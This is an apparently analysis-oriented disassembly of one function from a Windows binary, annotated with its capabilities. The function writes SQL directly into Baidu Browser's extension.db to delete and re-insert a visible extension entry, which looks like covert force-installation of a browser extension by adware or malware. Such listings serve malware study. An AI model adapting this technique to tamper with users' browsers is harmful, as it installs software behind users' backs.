Function at 0x100247e0
Capabilities:
Check if file exists
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x122c
call fcn.100b5ba0
mov eax, dword [0x100fb074]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x110]
mov dword [ebp - 0x1228], ecx
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x110]
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.BaiduBaiduBrowseruser_datadefaultextensionextension.db
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.100c3c76
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0x218]
call fcn.1001a900
test eax, eax
jne 0x10024b67
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10024b67
lea eax, [ebp - 0x358]
xor esi, esi
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
push eax
cmovne esi, dword [ebp - 0x338]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp esi, 0x64
jbe 0x10024b67
push 0x80
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x1220], 0
call fcn.100a42e0
test eax, eax
jne 0x10024b67
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10024910
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x110]
push 0
push 0
sub ecx, edx
push ecx
push eax
push 0
push 0
call edi
mov ebx, eax
mov dword [ebp - 0x1224], ebx
lea ecx, [ebx*2 + 2]
push ecx
call fcn.100bd8fa
mov esi, eax
lea ecx, [ebp - 0x110]
add esp, 4
mov dword [ebp - 0x121c], esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10024960
push ebx
push esi
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
push 0
push 0
call edi
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push 0
push 0
push ebx
push esi
push 0
push 0xfde9
call edi
mov esi, eax
lea ecx, [esi + 1]
push ecx
call fcn.100bd8fa
add esp, 4
mov ebx, eax
push 0
push 0
push esi
push ebx
push dword [ebp - 0x1224]
push dword [ebp - 0x121c]
push 0
push 0xfde9
call edi
push dword [ebp - 0x121c]
mov byte [ebx + esi], 0
call fcn.100bd905
add esp, 4
lea edx, [ebp - 0x1220]
mov ecx, ebx
push 0
push 2
call fcn.100a71f0
mov esi, dword [ebp - 0x1220]
add esp, 8
test eax, eax
jne 0x10024b51
push 0
push 0
push 0
push str.PRAGMA_synchronous__OFF_
push esi
call fcn.10081a60
add esp, 0x14
push 0
push 0
push 0
push str.begin_
push esi
call fcn.10081a60
add esp, 0x14
lea eax, [ebp - 0x1218]
push 0x1000
push 0
push eax
call fcn.100b7060
mov edi, dword [ebp - 0x1228]
lea eax, [ebp - 0x1218]
add esp, 0xc
push edi
push str.delete_from_externsionindexglobal_where_extid_like____s__
push eax
call fcn.100038c0
add esp, 0xc
lea eax, [ebp - 0x1218]
push eax
push str._DEBUGINFO__SETCRX__sql___s_n
call fcn.100043d0
push 0
lea eax, [ebp - 0x121c]
mov ecx, esi
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x1218]
call fcn.10086180
add esp, 0x1c
test eax, eax
mov eax, dword [ebp - 0x121c]
jne 0x10024aa5
test eax, eax
je 0x10024aa5
push eax
call fcn.100573f0
add esp, 4
push dword [ebp - 0x121c]
call fcn.10056750
mov eax, dword [ebp - 0x121c]
add esp, 4
push eax
call fcn.10056670
add esp, 4
lea eax, [ebp - 0x1218]
push 0x1000
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x1218]
push edi
push str.INSERT_INTO_extensionindexglobal_extid_extindex_extglobalindex_extarea_visible__VALUES__s_0_0_0_1_
push eax
call fcn.100038c0
add esp, 0xc
lea eax, [ebp - 0x1218]
push eax
push str._DEBUGINFO__SETCRX__sql___s_n
call fcn.100043d0
push 0
lea eax, [ebp - 0x121c]
mov ecx, esi
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x1218]
call fcn.10086180
add esp, 0x1c
test eax, eax
mov eax, dword [ebp - 0x121c]
jne 0x10024b34
test eax, eax
je 0x10024b34
push eax
call fcn.100573f0
add esp, 4
push dword [ebp - 0x121c]
call fcn.10056750
mov eax, dword [ebp - 0x121c]
add esp, 4
push eax
call fcn.10056670
add esp, 4
push 0
push 0
push 0
push str.commit_
push esi
call fcn.10081a60
add esp, 0x14
push ebx
call fcn.100bd905
add esp, 4
test esi, esi
je 0x10024b67
xor edx, edx
mov ecx, esi
call fcn.100a5140
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100b47d2
mov esp, ebp
pop ebp
ret